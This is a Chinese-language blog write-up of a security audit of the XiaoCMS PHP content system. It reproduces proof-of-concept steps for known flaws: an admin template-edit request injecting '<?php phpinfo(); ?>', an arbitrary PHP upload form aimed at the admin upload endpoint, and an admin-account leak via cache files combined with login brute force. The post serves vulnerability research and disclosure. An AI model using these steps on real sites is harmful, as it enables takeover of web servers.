前言
By:0x584A link:首发在【信安之路】
周末在家刚吃完晚饭，基友 DM 叫我一起来审计 xiaocms系统，也不知道他是受到啥刺激了。正好，除了 Code Review 公司项目代码及框架代码，未审计过其他系统，就当拿来练手了。
代码审计的目的是发现代码中存在的缺陷，并对其进行修复或利用（灰盒测试）。通常是在本地部署一套环境，并进行反复调试直至发现缺陷。
首选需要知道目标代码具备那些功能模块，针对性的对相关模块进行审计排查。其次需要通读带目标代码，知道其功能类的加载顺序、目录结构、方法文件及配置文件路径。
目录结结构
根据上图中的目录，我们先看下前台 index.php 文件内容：
代码量很少，首先定义了一个常量用于保持文件夹路径，随后加载了 core/xiaocms.php 框架文件，最后运行了一个 run() 函数。
我们找到 xiaocms.php 文件并查看，里面大体分为两块部分，最上面定义了一些常量并载入了框架所需的类文件及方法文件，下面则定义了一个类及静态方法。这里都需要去跟踪一下文件，避免走弯路和做无用功的测试。
审计流程
通过这些文件需要知道：
- 如何调用控制器中的对应方法及相关视图
- 框架对超全局变量做了那些处理及限制
- 相关功能模块逻辑及参数校验是否严谨
- 数据库使用 mysql 还是 PDO
经过查看所有的加载文件，排查出几个函数需要我们注意下，如果在代码中有看到它们的出现就直接可以放弃了，避免浪费过多的时间。
上述方法都用到了 htmlspecialchars()函数对传递变量做了转义，转义了双引号尖括号及 & 符。在看数据库查询用的是 参数化查询加PDO ，所以避免浪费时间，碰到模块中使用这些方法处理的接收变量直接放弃。
随后用浏览器打开配置好的 xiaocms 站点，完成数据库的安装。尝试了一下，此处并不存在重复安装数据库的问题，说明这套cms安全意识很好。
开始审计前端控制器，去除安装模块和框架基础类就剩下：controller/index.php 、 controller/post.php 和 controller/api.php 三个文件。
前台文件少内容也相对较少，看了这三个文件的内容并没有发现可以利用的地方。前台暂时看来是没有问题的了，果断放弃。
后台控制器文件也并不多，均在 ./admin/controller 文件夹内。将文件全部查看后未发现有效利用的点，外部接收均经过 $this->post() 和 $this->get() 方法过滤。
后台模版编辑后触发文件包含
因为是在本地测试，本着 见框就X 的原则，尝试一遍后台所有能看到的输入框。随后在模板编辑方法内，找到可以 getshell 的方法。
我们在回到产品详情页面，成功getshell.
分析原因
后台编辑模版URL：http://demo.com/admin/index.php?c=template&a=edit&dir=&file=show_product.html
参数：
file_content={xiao:template+header.html}
<?php+phpinfo();+?>
<div+class="mainbody">
...内容太多省略...
submit=提交
正如上面看到的，htmlspecialchers_decode() 函数还原了 $this->post() 方法中对特殊字符的转义。
随后提交至 CNVD ，可惜啦，早就被人提交过了 （不过不得不说， CNVD 的响应速度是真的快）。
随后在 CNVD 上搜索了一下，这个版本的 xiaocms 被爆过三个洞。分别是 后台登录无效限制爆破 、 文件包含 和 后台任意文件上传。
帐号泄漏加无限制爆破
看完 CNVD 中的漏洞描述后，发现可以对 登录无效限制爆破 漏洞进一步扩展，形成一个组合漏洞。
审计中发现 ，刷新缓存 这个功能会向 ./data/cache/ 目录中的特定文件写入 实例化字符串，如果未对该目录做访问控制则可以直接预览到管理员帐号。
现在我们来看下 CNVD 漏洞列表中，验证逻辑漏洞是怎么产生的。
验证跟踪至此处，其代码在校验之前会删除 session 中的值，但变量依然存在的所以本次校验依然有效。只有当第二次请求过来时，才会赋值给 $code 变量一个空值。但是，这特么是全等符。难道被修复了？
为了验证我的猜想，在 github 上找到了一个 2017年7月18日 前的版本：https://github.com/xyyphp/xiaocms/blob/master/core/controller/Base.class.php
然后看看解压后该文件的修改日期：
对比了一下。好吧，该处已经被修复了。该漏洞的组合使用只限 2017年10月20号 以前的版本 了。
后台任意文件上传
居然这么有缘，那就把 CNVD 列表中的该洞也分析一下吧。我们直接看问题代码：
简单生成一个 PHP 文件，用于复现测试：
`echo '<?php phpinfo(); ?>' > poc.php `
然后在构造本地提交表单页面：
<form action="http://xiaocms.com/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1024" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br/>
<input type="submit" name="submit" value="submit">
</form>
提交路径指定：http://xiaocms.com/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1024 即可。
至此该 CMS 的审计结束了，希望对你有所帮助。
